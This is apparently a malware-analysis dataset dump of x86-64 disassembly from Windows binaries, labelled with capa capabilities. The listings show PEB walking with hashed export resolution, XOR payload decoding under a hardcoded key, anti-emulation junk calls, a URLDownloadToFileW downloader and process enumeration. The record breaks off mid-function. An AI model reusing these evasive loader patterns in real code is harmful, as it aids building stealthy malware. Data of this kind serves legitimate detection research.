joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14055f5a0
Capabilities:
Encode data using base64

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
sub rsp, 0x50
mov r12, r9
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
test r8, r8
jne 0x14055f5cd
xor al, al
jmp 0x14055f72f
mov rax, qword [0x14057f6b0]
lea rcx, [rsp]
xor r11d, r11d
mov qword [rcx], rax
mov rax, qword [0x14057f6b8]
mov qword [rsp + 0x60], rbp
mov qword [rcx + 8], rax
mov rax, qword [0x14057f6c0]
mov rdx, r11
mov qword [rcx + 0x10], rax
mov rax, qword [0x14057f6c8]
mov qword [rcx + 0x18], rax
mov rax, qword [0x14057f6d0]
mov qword [rcx + 0x20], rax
mov rax, qword [0x14057f6d8]
mov qword [rcx + 0x28], rax
mov rax, qword [0x14057f6e0]
mov qword [rcx + 0x30], rax
mov rax, qword [0x14057f6e8]
mov qword [rcx + 0x38], rax
movzx eax, byte [0x14057f6f0]
mov byte [rcx + 0x40], al
mov rax, qword [r9]
mov rcx, r8
lea rbp, [r8 + rax]
test rbx, rbx
je 0x14055f721
add r8, 4
nop word [rax + rax]
movzx r9d, byte [rdx + rdi]
inc rdx
shl r9d, 0x10
cmp rdx, rbx
jne 0x14055f679
mov r11d, 2
jmp 0x14055f69d
movzx eax, byte [rdx + rdi]
inc rdx
shl eax, 8
or r9d, eax
cmp rdx, rbx
jne 0x14055f693
mov r11d, 1
jmp 0x14055f69d
movzx eax, byte [rdx + rdi]
or r9d, eax
inc rdx
mov r10d, r9d
and r9d, 0x3f
cmp r8, rbp
ja 0x14055f745
mov rax, r10
shr rax, 0x12
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx], al
mov rax, r10
shr rax, 0xc
and eax, 0x3f
movzx eax, byte [rsp + rax]
mov byte [rcx + 1], al
cmp r11, 1
jbe 0x14055f6e2
mov byte [rcx + 2], 0x3d
add rcx, 3
add r8, 3
jmp 0x14055f6fa
shr r10, 6
add rcx, 3
and r10d, 0x3f
add r8, 3
movzx eax, byte [rsp + r10]
mov byte [rcx - 1], al
test r11, r11
je 0x14055f70a
mov byte [rcx], 0x3d
inc rcx
inc r8
jmp 0x14055f718
movzx eax, byte [rsp + r9]
inc rcx
inc r8
mov byte [rcx - 1], al
cmp rdx, rbx
jb 0x14055f660
sub rcx, rsi
mov al, 1
mov qword [r12], rcx
mov rbp, qword [rsp + 0x60]
mov rbx, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r12
ret
xor al, al
jmp 0x14055f72a
Function at 0x180001000
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x130
xor ebp, ebp
mov esi, ecx
test ecx, ecx
je 0x1800010c2
mov rax, qword gs:[0x60]
mov rdx, qword [rax + 0x18]
mov rbx, qword [rdx + 0x20]
test rbx, rbx
je 0x1800010c2
mov r14d, 0x103
mov rdi, qword [rbx + 0x50]
test rdi, rdi
je 0x1800010c2
cmp word [rbx + 0x48], r14w
jae 0x1800010ba
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x104
call fcn.180001910
mov r10d, ebp
cmp word [rdi], bp
je 0x1800010a4
cmp r10d, r14d
jae 0x1800010a4
mov r9d, r10d
movzx r8d, byte [rdi + r9*2]
lea edx, [r8 - 0x61]
cmp dl, 0x19
lea eax, [r8 - 0x20]
movzx ecx, al
cmova ecx, r8d
inc r10d
mov byte [rsp + r9 + 0x20], cl
mov rdi, qword [rbx + 0x50]
cmp word [rdi + r10*2], bp
jne 0x180001072
mov eax, r10d
lea rcx, [rsp + 0x20]
mov byte [rsp + rax + 0x20], bpl
call fcn.180001194
cmp eax, esi
je 0x1800010e2
mov rbx, qword [rbx]
test rbx, rbx
jne 0x180001048
xor eax, eax
lea r11, [rsp + 0x130]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
mov rax, qword [rbx + 0x20]
jmp 0x1800010c4

Function at 0x1800010e8
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
xor ebx, ebx
mov r14d, edx
mov rdi, rcx
test rcx, rcx
je 0x180001171
test edx, edx
je 0x180001171
movsxd rax, dword [rcx + 0x3c]
mov r8d, dword [rax + rcx + 0x88]
add r8, rcx
mov ebp, dword [r8 + 0x20]
mov r12d, dword [r8 + 0x1c]
add rbp, rcx
mov esi, dword [r8 + 0x24]
add r12, rcx
mov r15d, dword [r8 + 0x18]
add rsi, rcx
jmp 0x18000115b
mov ecx, dword [rbp]
dec r15d
add rcx, rdi
call fcn.180001194
cmp eax, r14d
je 0x180001162
add rbp, 4
add rsi, 2
test r15d, r15d
jne 0x180001140
jmp 0x18000116c
movzx eax, word [rsi]
mov ebx, dword [r12 + rax*4]
add rbx, rdi
mov rax, rbx
jmp 0x180001173
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x180001194
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
mov al, byte [rcx]
mov r9, rcx
or r8d, 0xffffffff
mov r11d, 0x55555555
jmp 0x180001215
movzx ecx, al
mov r10d, 8
mov edx, ecx
shr edx, 1
lea eax, [rcx + rcx]
xor edx, eax
lea eax, [rcx + rcx]
and edx, r11d
xor edx, eax
mov ecx, edx
shr ecx, 2
lea eax, [rdx*4]
xor ecx, eax
lea eax, [rdx*4]
and ecx, 0x33333333
xor ecx, eax
mov edx, ecx
shr ecx, 4
and edx, 0xff0f0f0f
shl edx, 4
or edx, ecx
bswap edx
lea ecx, [r8 + r8]
mov eax, edx
xor eax, r8d
mov r8d, ecx
xor r8d, 0x9c46db3
test eax, eax
cmovns r8d, ecx
add edx, edx
sub r10, 1
jne 0x1800011ee
inc r9
mov al, byte [r9]
test al, al
jne 0x1800011a5
not r8d
mov ecx, r8d
shr ecx, 1
lea eax, [r8 + r8]
xor ecx, eax
lea eax, [r8 + r8]
and ecx, r11d
xor ecx, eax
mov edx, ecx
shr edx, 2
lea eax, [rcx*4]
xor edx, eax
lea eax, [rcx*4]
and edx, 0x33333333
xor edx, eax
mov eax, edx
mov ecx, edx
shr eax, 4
shl ecx, 4
xor eax, ecx
shl edx, 4
and eax, 0xf0f0f0f
xor eax, edx
bswap eax
ret

Function at 0x1800015ac
Capabilities:
Get common file path

Disassembly:
sub rsp, 0x38
and qword [rsp + 0x40], 0
lea rcx, [rsp + 0x40]
call fcn.180001574
cmp dword [rax], 0x15e
jle case.default.0x180001675
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetCriticalSectionSpinCount]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetWindowContextHelpId]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetWindowLongPtrW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_RegisterClassW]
xor ecx, ecx
call qword [sym.imp.USER32.dll_RegisterClassA]
xor ecx, ecx
call qword [sym.imp.USER32.dll_IsWindowVisible]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetClassLongPtrW]
and dword [rsp + 0x28], 0
xor r9d, r9d
and qword [rsp + 0x20], 0
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CloseGestureInfoHandle]
xor ecx, ecx
call qword [sym.imp.RPCRT4.dll_RpcServerInqBindings]
and qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0x40]
xor edx, edx
mov rcx, rax
add rsp, 0x38
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
hlt
mov esi, 0xc4f20cef
out dx, eax
or al, 0xf3
mov esi, 0xf70cbdee
ret
in eax, dx
mov ebp, 0xedbef30c
mov ebp, 0xf3bdc30c
div edi
ret
Function at 0x1800016a0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r14
lea rbp, [rsp - 0x37]
sub rsp, 0x90
call fcn.1800015ac
and dword [rbp + 0x67], 0
and qword [rbp + 0x77], 0
and qword [rbp + 0x6f], 0
call fcn.180001860
or r12, 0xffffffffffffffff
test eax, eax
je 0x180001846
call fcn.1800018e0
mov rdx, qword [0x1800ebf18]
mov ecx, dword [0x1800ebf10]
call fcn.180001940
lea r9, [0x1800ebe10]
mov dword [rsp + 0x28], 4
xor r8d, r8d
mov dword [rsp + 0x20], 0x3000
lea rdx, [rbp + 0x6f]
mov rcx, r12
call fcn.180001962
mov ecx, 0x3b9ca696
call entry0
mov rcx, rax
mov edx, 0x19b398a4
call fcn.1800010e8
mov rdi, qword [rbp + 0x6f]
lea rbx, [0x180003010]
mov r14, rax
xor esi, esi
lea rax, [rbp + 7]
sub rbx, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 7], xmm0
mov dword [rbp + 0x27], eax
xor edx, edx
movups xmmword [rbp + 0x17], xmm0
lea rcx, [rbp + 7]
add rcx, rdx
inc rdx
mov al, byte [rbx + rcx]
add al, 0x73
add al, byte [rcx]
xor al, 0x52
mov byte [rcx], al
cmp rdx, 0x24
jl 0x180001759
mov rdx, rdi
mov byte [rbp + 0x2b], 0
lea rcx, [rbp + 7]
call r14
test eax, eax
jne 0x180001846
add rdi, 0x10
add esi, 0x24
add rbx, 0x24
cmp esi, 0xe8e00
jb 0x180001747
mov rdx, qword [0x1800ebf08]
mov ecx, dword [0x1800ebf00]
call fcn.180001940
lea rax, [rbp + 0x67]
mov r9d, 0x20
lea r8, [0x1800ebe10]
mov qword [rsp + 0x20], rax
lea rdx, [rbp + 0x6f]
mov rcx, r12
call fcn.180001962
mov rdx, qword [0x1800ebeb8]
mov ecx, dword [0x1800ebeb0]
call fcn.180001940
and qword [rsp + 0x50], 0
lea rcx, [rbp + 0x77]
and qword [rsp + 0x48], 0
mov r9, r12
and qword [rsp + 0x40], 0
xor r8d, r8d
and qword [rsp + 0x38], 0
mov edx, 0x20000000
and dword [rsp + 0x30], 0
mov rax, qword [rbp + 0x6f]
and qword [rsp + 0x28], 0
mov qword [rsp + 0x20], rax
call fcn.180001962
mov rdx, qword [0x1800ebef8]
mov ecx, dword [0x1800ebef0]
call fcn.180001940
xor r8d, r8d
xor edx, edx
mov rcx, r12
call fcn.180001962
xor eax, eax
jmp 0x180001849
mov eax, r12d
mov rbx, qword [rsp + 0xd8]
add rsp, 0x90
pop r14
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x140002df8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002e42
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002e42
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002e42
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002e42
cmp dword [rcx + 0x84], 0xe
jbe 0x140002e42
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002e44
xor al, al
add rsp, 0x28
ret
Function at 0x1400014c0
Capabilities:
Encode data using base64

Disassembly:
sub rsp, 8
mov r11d, edx
mov r10, rcx
test rcx, rcx
je 0x140001504
test edx, edx
jle 0x140001504
lea eax, [rdx + 2]
mov edx, 2
movd xmm0, eax
cvtdq2ps xmm0, xmm0
divss xmm0, dword [0x1401ef618]
cvttss2si eax, xmm0
shl eax, 2
sub edx, eax
lea eax, [rdx - 1]
cmp eax, dword [r9]
jle 0x14000150e
test r8, r8
je 0x140001506
mov byte [r8], 0
xor edx, edx
mov dword [r9], edx
add rsp, 8
ret
lea eax, [rdx - 2]
lea ecx, [r11 - 2]
xor edx, edx
mov qword [rsp], rdi
lea rdi, [0x1401e5a10]
mov dword [r9], eax
test ecx, ecx
jle 0x1400015c2
dec ecx
mov eax, 0xaaaaaaab
mov qword [rsp + 0x10], rbx
lea rbx, [r10 + 1]
mul ecx
shr edx, 1
inc edx
mov r9d, edx
lea edx, [rdx + rdx*2]
nop dword [rax]
movzx eax, byte [rbx - 1]
add r8, 4
add rbx, 3
shr rax, 2
movzx eax, byte [rax + rdi]
mov byte [r8 - 4], al
movsx eax, byte [rbx - 4]
and eax, 3
shl eax, 4
movsxd rcx, eax
movzx eax, byte [rbx - 3]
shr eax, 4
or rcx, rax
movzx eax, byte [rcx + rdi]
mov byte [r8 - 3], al
movsx eax, byte [rbx - 3]
and eax, 0xf
shl eax, 2
movsxd rcx, eax
movzx eax, byte [rbx - 2]
shr rax, 6
or rcx, rax
movzx eax, byte [rcx + rdi]
mov byte [r8 - 2], al
movsx rax, byte [rbx - 2]
and eax, 0x3f
sub r9, 1
movzx eax, byte [rax + rdi]
mov byte [r8 - 1], al
jne 0x140001550
mov rbx, qword [rsp + 0x10]
cmp edx, r11d
jge 0x14000165d
movsxd r9, edx
movzx eax, byte [r9 + r10]
shr rax, 2
movzx eax, byte [rax + rdi]
mov byte [r8], al
lea eax, [r11 - 1]
cmp edx, eax
jne 0x140001619
movsx eax, byte [r9 + r10]
add r8, 3
and eax, 3
shl eax, 4
inc r8
cdqe
movzx eax, byte [rax + rdi]
mov rdi, qword [rsp]
mov byte [r8 - 3], al
mov byte [r8 - 2], 0x3d
mov byte [r8 - 1], 0x3d
mov byte [r8], 0
add rsp, 8
ret
movsx eax, byte [r9 + r10]
add r8, 3
and eax, 3
shl eax, 4
movsxd rcx, eax
movzx eax, byte [r9 + r10 + 1]
shr eax, 4
or rcx, rax
movzx eax, byte [rcx + rdi]
mov byte [r8 - 2], al
movsx eax, byte [r9 + r10 + 1]
and eax, 0xf
shl eax, 2
inc r8
cdqe
movzx eax, byte [rax + rdi]
mov byte [r8 - 2], al
mov byte [r8 - 1], 0x3d
mov byte [r8], 0
mov rdi, qword [rsp]
add rsp, 8
ret
Function at 0x140001ba0
Capabilities:
Encode data using xor
Write file on windows

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov rdi, r8
mov rsi, rdx
test rdx, rdx
jne 0x140001bbb
xor eax, eax
add rsp, 0x28
pop rdi
pop rsi
ret
lea rdx, [0x1401e5a54]
mov qword [rsp + 0x50], rbp
call fcn.140163044
mov rbp, rax
test rax, rax
jne 0x140001be0
mov rbp, qword [rsp + 0x50]
add rsp, 0x28
pop rdi
pop rsi
ret
mov qword [rsp + 0x40], rbx
test rdi, rdi
jne 0x140001bfc
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rsi
repne scasb al, byte [rdi]
not rcx
lea rdi, [rcx - 1]
mov rcx, rdi
call fcn.14015fd20
mov rbx, rax
test rax, rax
jne 0x140001c27
mov rcx, rbp
call fcn.140162e94
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x50]
xor eax, eax
add rsp, 0x28
pop rdi
pop rsi
ret
mov r8, rdi
mov rdx, rsi
mov rcx, rax
call fcn.140160e80
xor r9d, r9d
mov r11d, edi
mov r10d, edi
mov r8, r9
test edi, edi
je 0x140001c8c
mov rsi, qword [0x14021cc58]
mov qword [rsp + 0x20], r12
lea r12, str.8437jhdf8834kmklsi7__kdf8lsdjf2__aksdjsd0__dkfk____sksldfjsa_sdasdkj23knfsmmjjd
nop dword [rax + rax]
movsx ecx, byte [r8 + rbx]
mov eax, r11d
xor edx, edx
div rsi
inc r8
inc r11d
movzx eax, byte [rdx + r12]
add r9d, ecx
xor al, cl
mov byte [r8 + rbx - 1], al
cmp r8, r10
jb 0x140001c60
mov r12, qword [rsp + 0x20]
mov eax, r9d
mov edx, 8
lea rcx, [0x1401e5a58]
lea r8d, [rdx - 7]
mov r9, rbp
mov qword [rsp + 0x48], rax
call fcn.14016321c
mov edx, 4
lea rcx, [rsp + 0x48]
lea r8d, [rdx - 3]
mov r9, rbp
call fcn.14016321c
mov r9, rbp
mov r8d, 1
mov rdx, rdi
mov rcx, rbx
call fcn.14016321c
mov rcx, rbx
call fcn.14015fdd8
mov rcx, rbp
call fcn.140162e94
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x50]
mov eax, 1
add rsp, 0x28
pop rdi
pop rsi
ret
Function at 0x140002f90
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push r12
sub rsp, 0x20
mov rbp, rdx
xor edx, edx
mov rbx, rcx
lea r8d, [rdx + 2]
mov rcx, rbp
call fcn.140162d58
mov rcx, rbp
call fcn.140162c3c
xor r8d, r8d
xor edx, edx
mov rcx, rbp
movsxd r12, eax
call fcn.140162d58
cmp r12d, 0x4000000
jle 0x140002fe0
mov dword [rbx + 0x38], 0xfffffffe
xor al, al
add rsp, 0x20
pop r12
pop rbp
pop rbx
ret
lea eax, [r12 + 2]
mov ecx, eax
mov dword [rbx + 0x30], eax
call fcn.14015fecc
mov qword [rbx + 0x28], rax
test rax, rax
jne 0x140003008
mov dword [rbx + 0x38], 0xfffffffb
add rsp, 0x20
pop r12
pop rbp
pop rbx
ret
mov edx, 1
mov qword [rsp + 0x40], rsi
mov r9, rbp
lea r8d, [rdx + 0xb]
mov rcx, rax
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x58], r13
call fcn.140162a58
mov rsi, rax
cmp rax, 0xc
jne 0x1400030ca
mov rcx, qword [rbx + 0x28]
cmp byte [rcx], 0x31
jne 0x1400030ca
cmp byte [rcx + 1], 0x32
jne 0x1400030ca
cmp byte [rcx + 2], 0x78
jne 0x1400030ca
cmp byte [rcx + 3], 0
jne 0x1400030ca
mov eax, dword [rcx + 8]
movsx r13d, byte [rcx + 4]
xor edi, edi
mov qword [rsp + 0x50], rdi
mov dword [rsp + 0x50], eax
lea eax, [r12 - 0xc]
movsxd rsi, eax
lea r8d, [rdi + 1]
mov r9, rbp
mov rdx, rsi
call fcn.140162a58
mov rcx, qword [rbx + 0x28]
mov r9d, esi
xor r8d, r8d
mov edx, esi
call fcn.1400042f0
mov ecx, eax
cmp rcx, qword [rsp + 0x50]
je 0x1400030bc
mov dword [rbx + 0x38], 0xfffffffd
xor al, al
mov rdi, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x40]
mov r13, qword [rsp + 0x58]
add rsp, 0x20
pop r12
pop rbp
pop rbx
ret
test r13d, r13d
setne dil
inc edi
mov dword [rbx + 0x38], edi
jmp 0x1400030f1
xor edi, edi
mov dword [rbx + 0x38], edi
cmp r12, rax
jbe 0x1400030f1
mov rcx, qword [rbx + 0x28]
mov rdx, r12
lea r8d, [rdi + 1]
sub rdx, rax
mov r9, rbp
add rcx, 0xc
call fcn.140162a58
mov rsi, r12
test rsi, rsi
je 0x1400030a2
mov rax, qword [rbx + 0x28]
mov rcx, rbx
mov byte [rsi + rax], 0
call fcn.140003110
mov al, 1
jmp 0x1400030a4
Function at 0x140003ae0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push r13
push r14
sub rsp, 0x20
mov r13, r9
mov r14, r8
mov rbx, rdx
mov rbp, rcx
cmp rdx, 0xffff
jbe 0x140003b1b
mov qword [r9], 0
xor eax, eax
mov rbx, qword [rsp + 0x58]
add rsp, 0x20
pop r14
pop r13
pop rbp
ret
mov qword [rsp + 0x40], rsi
mov rsi, qword [rsp + 0x60]
mov qword [rsp + 0x48], rdi
mov qword [rsp + 0x50], r12
test rsi, rsi
je 0x140003b4d
cmp byte [rsi], 0
je 0x140003b4d
or rcx, 0xffffffffffffffff
xor eax, eax
mov rdi, rsi
repne scasb al, byte [rdi]
not rcx
lea r12, [rcx - 1]
jmp 0x140003b5b
mov r12, qword [0x14021cc58]
lea rsi, str.8437jhdf8834kmklsi7__kdf8lsdjf2__aksdjsd0__dkfk____sksldfjsa_sdasdkj23knfsmmjjd
lea rax, [rdx + 4]
lea rdi, [r8 + 4]
mov qword [r9], rax
call qword [0x140186580]
mov ecx, dword [r14]
xor ecx, eax
xor edx, edx
and ecx, 0x7ffff
xor ecx, dword [r14]
mov rax, rcx
and eax, 0x7ffff
div r12
shl edx, 0x13
xor edx, ecx
and edx, 0x1f80000
xor edx, ecx
mov dword [r14], edx
cmp rbx, 0x7f
jbe 0x140003bb5
and edx, 0x1ffffff
add rdi, 2
add qword [r13], 2
mov dword [r14], edx
mov word [rdi - 2], bx
jmp 0x140003bc5
mov eax, ebx
and edx, 0x1ffffff
shl eax, 0x19
or edx, eax
mov dword [r14], edx
mov edx, dword [r14]
shr edx, 0x13
and edx, 0x3f
test rbx, rbx
je 0x140003c01
sub rbp, rdi
nop word [rax + rax]
movsxd rax, edx
inc rdi
movzx ecx, byte [rax + rsi]
lea eax, [rdx + 3]
xor edx, edx
xor cl, byte [rdi + rbp - 1]
cdqe
mov byte [rdi - 1], cl
div r12
sub rbx, 1
jne 0x140003be0
mov r12, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x58]
mov eax, 1
add rsp, 0x20
pop r14
pop r13
pop rbp
ret

Function at 0x1400042f0
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 8
xor r10d, r10d
mov r11d, edx
test edx, edx
je 0x14000434e
mov qword [rsp + 0x10], rbx
mov rbx, qword [0x14021cc58]
mov qword [rsp], rdi
lea rdi, str.8437jhdf8834kmklsi7__kdf8lsdjf2__aksdjsd0__dkfk____sksldfjsa_sdasdkj23knfsmmjjd
nop word [rax + rax]
mov eax, r9d
xor edx, edx
inc r10
div rbx
inc r9d
movzx eax, byte [rdx + rdi]
xor byte [r10 + rcx - 1], al
movsx eax, byte [r10 + rcx - 1]
add r8d, eax
cmp r10, r11
jb 0x140004320
mov rdi, qword [rsp]
mov rbx, qword [rsp + 0x10]
mov eax, r8d
add rsp, 8
ret
Function at 0x140004860
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x830
mov rax, qword [0x14021af98]
xor rax, rsp
mov qword [rsp + 0x820], rax
mov rdi, rdx
lea rdx, [0x1401e5a74]
xor ebx, ebx
call fcn.140163044
mov rsi, rax
test rax, rax
je 0x14000491d
lea rdx, [0x1401e5a54]
mov rcx, rdi
call fcn.140163044
mov rdi, rax
test rax, rax
je 0x140004915
mov ebx, 1
lea rcx, [rsp + 0x20]
mov r9, rsi
mov rdx, rbx
mov r8d, 0x800
call fcn.140162a58
test eax, eax
jle 0x14000490d
nop word [rax + rax]
lea rcx, [rsp + 0x20]
movsxd rdx, eax
mov r9, rdi
mov r8, rbx
call fcn.14016321c
lea rcx, [rsp + 0x20]
mov r9, rsi
mov r8d, 0x800
mov rdx, rbx
call fcn.140162a58
test eax, eax
jg 0x1400048e0
mov rcx, rdi
call fcn.140162e94
mov rcx, rsi
call fcn.140162e94
mov eax, ebx
mov rcx, qword [rsp + 0x820]
xor rcx, rsp
call fcn.140160000
lea r11, [rsp + 0x830]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x140003cd0
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x14009c080]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rdi, rcx
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov esi, eax
mov ebx, 0x41
xor ebp, ebp
test sil, 1
je 0x140003df4
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], rbp
xor r8d, r8d
lea rdx, [0x14008c62c]
lea rcx, [rsp + 0x20]
call fcn.140014c90
nop
mov rcx, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
cmp rcx, rdx
jae 0x140003d68
lea rax, [rcx + 1]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x20]
cmp rdx, 7
cmova rax, qword [rsp + 0x20]
mov word [rax + rcx*2], bx
mov word [rax + rcx*2 + 2], bp
jmp 0x140003d76
movzx r9d, bx
lea rcx, [rsp + 0x20]
call fcn.1400148f0
lea rdx, [0x14008c630]
lea rcx, [rsp + 0x20]
call fcn.1400139c0
mov rax, qword [rdi + 8]
cmp rax, qword [rdi + 0x10]
je 0x140003da5
lea rdx, [rsp + 0x20]
mov rcx, rax
call fcn.140013400
add qword [rdi + 8], 0x20
jmp 0x140003db6
lea r8, [rsp + 0x20]
mov rdx, rax
mov rcx, rdi
call fcn.140015b40
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 7
jbe 0x140003df4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003def
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003e25
call fcn.14007995c
shr esi, 1
inc bx
cmp bx, 0x5a
jbe 0x140003d05
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400796c0
mov rbx, qword [rsp + 0x68]
mov rbp, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x50
pop rdi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3

Function at 0x140003e30
Capabilities:
Download url
Receive data

Disassembly:
sub rsp, 0x38
cmp qword [rdx + 0x18], 7
jbe 0x140003e3e
mov rdx, qword [rdx]
cmp qword [rcx + 0x18], 7
jbe 0x140003e48
mov rcx, qword [rcx]
mov r8, rdx
mov qword [rsp + 0x20], 0
mov rdx, rcx
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
shr eax, 0x1f
xor al, 1
add rsp, 0x38
ret
Function at 0x140003ee0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x20], rbp
push rsi
sub rsp, 0x290
mov rax, qword [0x14009c080]
xor rax, rsp
mov qword [rsp + 0x280], rax
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbp, rax
cmp rax, 0xffffffffffffffff
jne 0x140003f1d
xor al, al
jmp 0x14000409c
mov qword [rsp + 0x2a0], rbx
lea rdx, [rsp + 0x40]
mov qword [rsp + 0x2a8], rdi
mov rcx, rbp
mov qword [rsp + 0x2b0], r14
mov dword [rsp + 0x40], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x140004079
xor r14d, r14d
nop word [rax + rax]
xorps xmm0, xmm0
mov qword [rsp + 0x30], r14
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x38], r14
lea rax, [rsp + 0x6c]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rax + r8*2], r14w
jne 0x140003f80
lea rdx, [rsp + 0x6c]
lea rcx, [rsp + 0x20]
call fcn.140014c90
cmp qword [rsi + 0x18], 7
mov rax, rsi
jbe 0x140003fa6
mov rax, qword [rsi]
mov rdi, qword [rsp + 0x38]
lea r8, [rsp + 0x20]
mov rbx, qword [rsp + 0x20]
cmp rdi, 7
mov rdx, qword [rsp + 0x30]
cmova r8, rbx
cmp rdx, qword [rsi + 0x10]
jne 0x14000402c
test rdx, rdx
je 0x140003fe4
sub r8, rax
movzx ecx, word [r8 + rax]
cmp cx, word [rax]
jne 0x14000402c
add rax, 2
sub rdx, 1
jne 0x140003fd0
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp rdi, 7
jbe 0x140004028
lea rdx, [rdi*2 + 2]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140004020
mov rbx, qword [rbx - 8]
add rdx, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400040bd
mov rcx, rbx
call fcn.14007995c
mov al, 1
jmp 0x140004084
cmp rdi, 7
jbe 0x140004063
lea rdx, [rdi*2 + 2]
mov rax, rbx
cmp rdx, 0x1000
jb 0x14000405b
mov rbx, qword [rbx - 8]
add rdx, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400040bd
mov rcx, rbx
call fcn.14007995c
lea rdx, [rsp + 0x40]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140003f60
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
mov rdi, qword [rsp + 0x2a8]
mov rbx, qword [rsp + 0x2a0]
mov r14, qword [rsp + 0x2b0]
